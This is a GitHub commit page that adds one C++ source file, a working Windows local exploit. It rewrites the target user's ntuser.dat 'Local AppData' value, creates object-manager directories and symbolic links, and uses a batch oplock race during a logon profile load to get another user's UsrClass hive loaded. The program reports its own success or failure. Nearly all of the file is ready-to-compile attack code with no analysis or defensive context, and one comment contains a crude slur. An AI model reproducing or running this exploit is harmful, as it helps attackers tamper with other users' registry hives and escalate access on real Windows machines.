Add files via upload
This commit is contained in:
committed by
GitHub
parent
cc86f2a4ca
commit
f08115be9d
+474
@@ -0,0 +1,474 @@
|
||||
#define _CRT_SECURE_NO_WARNINGS
|
||||
#include <iostream>
|
||||
#include <Windows.h>
|
||||
#include <winternl.h>
|
||||
#include <UserEnv.h>
|
||||
#include <AclAPI.h>
|
||||
#include <ntstatus.h>
|
||||
#include <conio.h>
|
||||
#include "offreg.h"
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
#pragma comment(lib, "userenv.lib")
|
||||
#pragma comment(lib, "advapi32.lib")
|
||||
#pragma comment(lib, "offreg.lib")
|
||||
#pragma comment(lib, "Rpcrt4.lib")
|
||||
#pragma warning(disable : 4996)
|
||||
|
||||
HMODULE hm = GetModuleHandle(L"ntdll.dll");
|
||||
NTSTATUS(WINAPI* _NtCreateSymbolicLinkObject)(
|
||||
OUT PHANDLE pHandle,
|
||||
IN ACCESS_MASK DesiredAccess,
|
||||
IN POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
IN PUNICODE_STRING DestinationName) = (NTSTATUS(WINAPI*)(
|
||||
OUT PHANDLE pHandle,
|
||||
IN ACCESS_MASK DesiredAccess,
|
||||
IN POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
IN PUNICODE_STRING DestinationName))GetProcAddress(hm, "NtCreateSymbolicLinkObject");
|
||||
NTSTATUS(WINAPI* _NtCreateDirectoryObjectEx)(
|
||||
OUT PHANDLE DirectoryHandle,
|
||||
IN ACCESS_MASK DesiredAccess,
|
||||
IN POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
IN HANDLE ShadowDirectoryHandle,
|
||||
IN ULONG Flags) =
|
||||
(NTSTATUS(WINAPI*)(
|
||||
OUT PHANDLE DirectoryHandle,
|
||||
IN ACCESS_MASK DesiredAccess,
|
||||
IN POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
IN HANDLE ShadowDirectoryHandle,
|
||||
IN ULONG Flags))GetProcAddress(hm, "NtCreateDirectoryObjectEx");
|
||||
|
||||
struct HVarg {
|
||||
wchar_t* username;
|
||||
wchar_t* password;
|
||||
HANDLE hprocess;
|
||||
HANDLE hcallerthread;
|
||||
};
|
||||
|
||||
void GenGUID(wchar_t* guid)
|
||||
{
|
||||
GUID uid = { 0 };
|
||||
RPC_WSTR wuid = { 0 };
|
||||
UuidCreate(&uid);
|
||||
UuidToStringW(&uid, &wuid);
|
||||
wchar_t* wuid2 = (wchar_t*)wuid;
|
||||
wcscpy(guid, wuid2);
|
||||
}
|
||||
|
||||
bool CreateDirectoryWithPermissiveDACL(wchar_t* dirpath)
|
||||
{
|
||||
PSID pEveryoneSID = NULL;
|
||||
PACL pACL = NULL;
|
||||
EXPLICIT_ACCESS ea;
|
||||
SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY;
|
||||
if (!AllocateAndInitializeSid(&SIDAuthWorld, 1,
|
||||
SECURITY_WORLD_RID,
|
||||
0, 0, 0, 0, 0, 0, 0,
|
||||
&pEveryoneSID))
|
||||
{
|
||||
printf("AllocateAndInitializeSid, error: %d\n", GetLastError());
|
||||
return false;
|
||||
}
|
||||
|
||||
ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
|
||||
ea.grfAccessPermissions = GENERIC_ALL;
|
||||
ea.grfAccessMode = SET_ACCESS;
|
||||
ea.grfInheritance = SUB_CONTAINERS_AND_OBJECTS_INHERIT | NO_INHERITANCE;
|
||||
|
||||
ea.Trustee.TrusteeForm = TRUSTEE_IS_SID;
|
||||
ea.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP;
|
||||
ea.Trustee.ptstrName = (LPTSTR)pEveryoneSID;
|
||||
|
||||
DWORD dwRes = SetEntriesInAcl(1, &ea, NULL, &pACL);
|
||||
if (dwRes != ERROR_SUCCESS) {
|
||||
printf("SetEntriesInAcl, error: %d\n", dwRes);
|
||||
FreeSid(pEveryoneSID);
|
||||
return false;
|
||||
}
|
||||
PSECURITY_DESCRIPTOR sd = (PSECURITY_DESCRIPTOR)LocalAlloc(LMEM_FIXED, SECURITY_DESCRIPTOR_MIN_LENGTH);
|
||||
InitializeSecurityDescriptor(sd, SECURITY_DESCRIPTOR_REVISION);
|
||||
SetSecurityDescriptorDacl(sd, TRUE, pACL, FALSE);
|
||||
SECURITY_ATTRIBUTES sa = { 0 };
|
||||
sa.nLength = sizeof(sa);
|
||||
sa.lpSecurityDescriptor = sd;
|
||||
|
||||
bool retval = true;
|
||||
if (!CreateDirectory(dirpath, &sa))
|
||||
{
|
||||
printf("Failed to create directory %ws, error : %d\n", dirpath, GetLastError());
|
||||
retval = false;
|
||||
}
|
||||
if (sd) LocalFree(sd);
|
||||
if (pEveryoneSID) FreeSid(pEveryoneSID);
|
||||
if (pACL) LocalFree(pACL);
|
||||
return retval;
|
||||
}
|
||||
|
||||
void ThrowFunc()
|
||||
{
|
||||
throw 1;
|
||||
}
|
||||
|
||||
void RaiseExceptionInThread(HANDLE hthread)
|
||||
{
|
||||
CONTEXT ctx = { 0 };
|
||||
ctx.ContextFlags = CONTEXT_FULL;
|
||||
SuspendThread(hthread);
|
||||
|
||||
if (GetThreadContext(hthread, &ctx))
|
||||
{
|
||||
ctx.Rip = (DWORD64)ThrowFunc;
|
||||
SetThreadContext(hthread, &ctx);
|
||||
ResumeThread(hthread);
|
||||
}
|
||||
}
|
||||
|
||||
DWORD WINAPI HiveLoaderThread(void* creds)
|
||||
{
|
||||
HVarg* _creds = (HVarg*)creds;
|
||||
if (!_creds) {
|
||||
RaiseExceptionInThread(_creds->hcallerthread);
|
||||
return 1;
|
||||
}
|
||||
STARTUPINFO si = { 0 };
|
||||
PROCESS_INFORMATION pi = { 0 };
|
||||
|
||||
if (!CreateProcessWithLogonW(_creds->username, NULL, _creds->password, LOGON_WITH_PROFILE, L"C:\\Windows\\notepad.exe", NULL, CREATE_SUSPENDED, NULL, NULL, &si, &pi))
|
||||
{
|
||||
printf("CreateProcessWithLogonW failed with error : %d\n", GetLastError());
|
||||
RaiseExceptionInThread(_creds->hcallerthread);
|
||||
return 1;
|
||||
}
|
||||
CloseHandle(pi.hThread);
|
||||
_creds->hprocess = pi.hProcess;
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
int wmain(int argc, wchar_t **argv)
|
||||
{
|
||||
|
||||
if (argc != 4)
|
||||
{
|
||||
printf("Usage %ws <username> <password> <target_user_hive>\n", argv[0]);
|
||||
return 0;
|
||||
}
|
||||
OSVERSIONINFO osver = { 0 };
|
||||
osver.dwOSVersionInfoSize = sizeof(osver);
|
||||
GetVersionEx(&osver);
|
||||
|
||||
DWORD tid = NULL;
|
||||
HANDLE hthread = NULL;
|
||||
HVarg targ = { 0 };
|
||||
targ.username = argv[1];
|
||||
targ.password = argv[2];
|
||||
|
||||
|
||||
HANDLE htoken = NULL;
|
||||
HKEY hloadedhive = NULL;
|
||||
wchar_t userhivepath[MAX_PATH] = { 0 };
|
||||
HANDLE huserhive = NULL;
|
||||
ORHKEY hivemap = NULL;
|
||||
DWORD retval = NULL;
|
||||
ORHKEY htargetkey = NULL;
|
||||
bool shouldrestore = false;
|
||||
wchar_t existinglocalappdatapath[MAX_PATH] = { 0 };
|
||||
wchar_t guid[64] = { 0 };
|
||||
GenGUID(guid);
|
||||
wchar_t newlappdata[MAX_PATH] = L"\\\\.\\globalroot\\BaseNamedObjects\\Restricted";
|
||||
DWORD elapsz = NULL;
|
||||
bool cleandir = false;
|
||||
wchar_t workdir[MAX_PATH] = { L"C:\\" };
|
||||
wcscat(workdir, guid);
|
||||
|
||||
NTSTATUS stat = STATUS_SUCCESS;
|
||||
HANDLE hworkdirobj = NULL;
|
||||
HANDLE hmsdirobj = NULL;
|
||||
HANDLE hwindirlnk = NULL;
|
||||
HANDLE hwindirlnk1 = NULL;
|
||||
|
||||
wchar_t newhivepath[MAX_PATH] = { 0 };
|
||||
wsprintf(newhivepath, L"%s\\ntuser.dat", workdir);
|
||||
|
||||
wchar_t usrclasshivepath[MAX_PATH] = { 0 };
|
||||
wchar_t usrclasshivepathnew[MAX_PATH] = { 0 };
|
||||
wsprintf(usrclasshivepathnew, L"%s\\UsrClass.dat", workdir);
|
||||
|
||||
void* hivebuff = NULL;
|
||||
DWORD hivesz = NULL;
|
||||
LARGE_INTEGER li = { 0 };
|
||||
DWORD readbytes = 0;
|
||||
|
||||
wchar_t _winlnktarget1[MAX_PATH] = { 0 };
|
||||
wsprintf(_winlnktarget1, L"\\??\\C:\\%s", guid);
|
||||
UNICODE_STRING winlnktarget1 = { 0 };
|
||||
RtlInitUnicodeString(&winlnktarget1, _winlnktarget1);
|
||||
wchar_t _winlnktarget2[MAX_PATH] = { 0 };
|
||||
wsprintf(_winlnktarget2, L"\\??\\C:\\Users\\%s\\AppData\\Local\\Microsoft\\Windows", argv[3]);
|
||||
UNICODE_STRING winlnktarget2 = { 0 };
|
||||
RtlInitUnicodeString(&winlnktarget2, _winlnktarget2);
|
||||
|
||||
UNICODE_STRING msdirobjpath = { 0 };
|
||||
UNICODE_STRING workdirobjpath = { 0 };
|
||||
OBJECT_ATTRIBUTES msdirobjattr = { 0 };
|
||||
OBJECT_ATTRIBUTES workdirobjattr = { 0 };
|
||||
RtlInitUnicodeString(&msdirobjpath, L"\\BaseNamedObjects\\Restricted\\Microsoft");
|
||||
|
||||
wchar_t _workdirobjpath[MAX_PATH] = { 0 };
|
||||
wsprintf(_workdirobjpath, L"\\BaseNamedObjects\\Restricted\\%s", guid);
|
||||
RtlInitUnicodeString(&workdirobjpath, _workdirobjpath);
|
||||
UNICODE_STRING uwin = { 0 };
|
||||
RtlInitUnicodeString(&uwin, L"Windows");
|
||||
OBJECT_ATTRIBUTES winlnkobjattr1 = { 0 };
|
||||
|
||||
HANDLE hlock = NULL;
|
||||
OVERLAPPED ov = { 0 };
|
||||
DWORD transfersz = NULL;
|
||||
try {
|
||||
|
||||
targ.hcallerthread = OpenThread(THREAD_ALL_ACCESS, FALSE, GetCurrentThreadId());
|
||||
if (!targ.hcallerthread)
|
||||
{
|
||||
printf("Failed to open current thread, error : %d\n", GetLastError());
|
||||
goto cleanup;
|
||||
}
|
||||
InitializeObjectAttributes(&workdirobjattr, &workdirobjpath, OBJ_CASE_INSENSITIVE, NULL, NULL);
|
||||
stat = _NtCreateDirectoryObjectEx(&hworkdirobj, GENERIC_ALL, &workdirobjattr, NULL, NULL);
|
||||
if (stat)
|
||||
{
|
||||
printf("Failed to create object directory %ws, error : 0x%0.8X\n", workdirobjpath.Buffer, stat);
|
||||
goto cleanup;
|
||||
}
|
||||
InitializeObjectAttributes(&msdirobjattr, &msdirobjpath, OBJ_CASE_INSENSITIVE, NULL, NULL);
|
||||
stat = _NtCreateDirectoryObjectEx(&hmsdirobj, GENERIC_ALL, &msdirobjattr, hworkdirobj, NULL);
|
||||
if (stat)
|
||||
{
|
||||
printf("Failed to create object directory %ws\n, error : 0x%0.8X\n", msdirobjpath.Buffer, stat);
|
||||
goto cleanup;
|
||||
}
|
||||
InitializeObjectAttributes(&winlnkobjattr1, &uwin, OBJ_CASE_INSENSITIVE, hmsdirobj, NULL);
|
||||
stat = _NtCreateSymbolicLinkObject(&hwindirlnk, GENERIC_ALL, &winlnkobjattr1, &winlnktarget1);
|
||||
if (stat)
|
||||
{
|
||||
printf("Failed to create object symbolic link %ws\\%ws\n, error : 0x%0.8X\n", msdirobjpath.Buffer, uwin.Buffer, stat);
|
||||
goto cleanup;
|
||||
}
|
||||
InitializeObjectAttributes(&winlnkobjattr1, &uwin, OBJ_CASE_INSENSITIVE, hworkdirobj, NULL);
|
||||
stat = _NtCreateSymbolicLinkObject(&hwindirlnk1, GENERIC_ALL, &winlnkobjattr1, &winlnktarget2);
|
||||
if (stat)
|
||||
{
|
||||
printf("Failed to create object symbolic link %ws\\%ws\n, error : 0x%0.8X\n", workdirobjpath.Buffer, uwin.Buffer, stat);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
cleandir = CreateDirectoryWithPermissiveDACL(workdir);
|
||||
if (!cleandir)
|
||||
goto cleanup;
|
||||
if (!LogonUser(argv[1], NULL, argv[2], LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, &htoken) || !htoken) {
|
||||
printf("LogonUser failed, error : %d\n", GetLastError());
|
||||
goto cleanup;
|
||||
}
|
||||
if (!ImpersonateLoggedOnUser(htoken))
|
||||
{
|
||||
printf("ImpersonateLoggedOnUser failed, error : %d\n", GetLastError());
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
ExpandEnvironmentStringsForUser(htoken, L"C:\\Users\\%USERNAME%\\ntuser.dat", userhivepath, MAX_PATH);
|
||||
ExpandEnvironmentStringsForUser(htoken, L"C:\\Users\\%USERNAME%\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat", usrclasshivepath, MAX_PATH);
|
||||
huserhive = CreateFile(userhivepath, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (!huserhive || huserhive == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
printf("Failed to open user hive \"%ws\", error : %d\n", userhivepath, GetLastError());
|
||||
goto cleanup;
|
||||
}
|
||||
GetFileSizeEx(huserhive, &li);
|
||||
hivesz = li.QuadPart;
|
||||
hivebuff = malloc(hivesz);
|
||||
if (!ReadFile(huserhive, hivebuff, hivesz, &readbytes, NULL) || hivesz != readbytes)
|
||||
{
|
||||
printf("Failed to backup target user hive content, error : %d\n", GetLastError());
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// fucking retarded
|
||||
SetFilePointer(huserhive, NULL, NULL, FILE_BEGIN);
|
||||
retval = OROpenHiveByHandle(huserhive, &hivemap);
|
||||
if (retval)
|
||||
{
|
||||
printf("Failed to map user hive to memory, error %d\n", retval);
|
||||
goto cleanup;
|
||||
}
|
||||
retval = OROpenKey(hivemap, L"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", &htargetkey);
|
||||
if (retval)
|
||||
{
|
||||
printf("Failed to open HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders, error %d\n", retval);
|
||||
goto cleanup;
|
||||
}
|
||||
retval = ORSetValue(htargetkey, L"Local AppData", REG_EXPAND_SZ, (LPBYTE)newlappdata, wcslen(newlappdata) * sizeof(wchar_t) + sizeof(wchar_t));
|
||||
if (retval)
|
||||
{
|
||||
printf("Failed to set HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\\Local AppData, error %d\n", retval);
|
||||
goto cleanup;
|
||||
}
|
||||
ORCloseKey(htargetkey);
|
||||
htargetkey = NULL;
|
||||
retval = ORSaveHive(hivemap, newhivepath, osver.dwMajorVersion, osver.dwMinorVersion);
|
||||
if (retval)
|
||||
{
|
||||
printf("Failed to save new hive content, error : %d\n", retval);
|
||||
goto cleanup;
|
||||
}
|
||||
ORCloseHive(hivemap);
|
||||
hivemap = NULL;
|
||||
CloseHandle(huserhive);
|
||||
huserhive = NULL;
|
||||
if (!MoveFileEx(newhivepath, userhivepath, MOVEFILE_REPLACE_EXISTING))
|
||||
{
|
||||
printf("Failed to apply hive changes, error : %d\n", GetLastError());
|
||||
goto cleanup;
|
||||
}
|
||||
shouldrestore = true;
|
||||
if (!CopyFile(usrclasshivepath, usrclasshivepathnew, FALSE))
|
||||
{
|
||||
printf("Failed to copy UsrClass.dat, error : %d\n", GetLastError());
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
hlock = CreateFile(usrclasshivepathnew, GENERIC_READ | GENERIC_WRITE | DELETE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL);
|
||||
if (!hlock || hlock == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
printf("Failed to open %ws, error : %d\n", usrclasshivepathnew, GetLastError());
|
||||
goto cleanup;
|
||||
}
|
||||
ov.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
|
||||
DeviceIoControl(hlock, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ov);
|
||||
|
||||
if (GetLastError() != ERROR_IO_PENDING)
|
||||
{
|
||||
printf("Failed to request a batch oplock on the update file, error : %d", GetLastError());
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
|
||||
|
||||
hthread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)HiveLoaderThread, &targ, NULL, &tid);
|
||||
if (!hthread)
|
||||
{
|
||||
printf("Failed to create helper thread, error : %d\n", GetLastError());
|
||||
goto cleanup;
|
||||
}
|
||||
GetOverlappedResult(hlock, &ov, &transfersz, TRUE);
|
||||
CloseHandle(hwindirlnk);
|
||||
hwindirlnk = NULL;
|
||||
printf("oplock triggered !\n");
|
||||
CloseHandle(hlock);
|
||||
hlock = NULL;
|
||||
|
||||
|
||||
WaitForSingleObject(hthread, INFINITE);
|
||||
|
||||
retval = RegOpenUserClassesRoot(htoken, NULL, MAXIMUM_ALLOWED, &hloadedhive);
|
||||
if (hloadedhive)
|
||||
{
|
||||
RegCloseKey(hloadedhive);
|
||||
hloadedhive = NULL;
|
||||
}
|
||||
if (retval)
|
||||
{
|
||||
printf("Exploit failed, hive was not loaded.\n");
|
||||
goto cleanup;
|
||||
}
|
||||
printf("Hive loaded, press any key to unload and exit.\n");
|
||||
|
||||
}
|
||||
catch (DWORD exception)
|
||||
{
|
||||
goto cleanup;
|
||||
}
|
||||
cleanup:
|
||||
_getch();
|
||||
if (hloadedhive)
|
||||
{
|
||||
CloseHandle(hloadedhive);
|
||||
hloadedhive = NULL;
|
||||
}
|
||||
|
||||
if (hthread) {
|
||||
TerminateThread(hthread, ERROR_SUCCESS);
|
||||
CloseHandle(hthread);
|
||||
hthread = NULL;
|
||||
}
|
||||
if (targ.hcallerthread)
|
||||
{
|
||||
CloseHandle(targ.hcallerthread);
|
||||
targ.hcallerthread = NULL;
|
||||
}
|
||||
if (targ.hprocess)
|
||||
{
|
||||
TerminateProcess(targ.hprocess, ERROR_SUCCESS);
|
||||
CloseHandle(targ.hprocess);
|
||||
targ.hprocess = NULL;
|
||||
}
|
||||
Sleep(500);
|
||||
if (ov.hEvent)
|
||||
{
|
||||
CloseHandle(ov.hEvent);
|
||||
ov = { 0 };
|
||||
}
|
||||
if (hwindirlnk)
|
||||
{
|
||||
CloseHandle(hwindirlnk);
|
||||
hwindirlnk = NULL;
|
||||
}
|
||||
if (hwindirlnk1)
|
||||
{
|
||||
CloseHandle(hwindirlnk1);
|
||||
hwindirlnk1 = NULL;
|
||||
}
|
||||
|
||||
if (hmsdirobj)
|
||||
{
|
||||
CloseHandle(hmsdirobj);
|
||||
hmsdirobj = NULL;
|
||||
}
|
||||
if (hworkdirobj)
|
||||
{
|
||||
CloseHandle(hworkdirobj);
|
||||
hworkdirobj = NULL;
|
||||
}
|
||||
|
||||
if (huserhive)
|
||||
{
|
||||
CloseHandle(huserhive);
|
||||
huserhive = NULL;
|
||||
}
|
||||
if (hivemap)
|
||||
{
|
||||
ORCloseHive(hivemap);
|
||||
hivemap = NULL;
|
||||
}
|
||||
if (shouldrestore)
|
||||
{
|
||||
huserhive = CreateFile(userhivepath, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (!huserhive || huserhive == INVALID_HANDLE_VALUE)
|
||||
{}
|
||||
else {
|
||||
WriteFile(huserhive, hivebuff, hivesz, &readbytes, NULL);
|
||||
CloseHandle(huserhive);
|
||||
huserhive = NULL;
|
||||
}
|
||||
}
|
||||
RevertToSelf();
|
||||
if (GetFileAttributes(usrclasshivepathnew) != INVALID_FILE_ATTRIBUTES) {
|
||||
DeleteFile(usrclasshivepathnew);
|
||||
}
|
||||
if (GetFileAttributes(newhivepath) != INVALID_FILE_ATTRIBUTES) {
|
||||
DeleteFile(newhivepath);
|
||||
}
|
||||
if (htoken) {
|
||||
CloseHandle(htoken);
|
||||
htoken = NULL;
|
||||
}
|
||||
if (cleandir)
|
||||
RemoveDirectory(workdir);
|
||||
return 0;
|
||||
}
|
||||
Reference in New Issue
Block a user